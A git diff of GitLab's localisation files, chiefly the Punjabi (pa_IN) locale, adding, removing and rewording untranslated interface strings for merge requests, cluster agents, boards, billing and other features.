msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/pa_IN/gitlab.po b/locale/pa_IN/gitlab.po
index 3a95cf988e9..f02427c7b8b 100644
--- a/locale/pa_IN/gitlab.po
+++ b/locale/pa_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pa-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:59\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
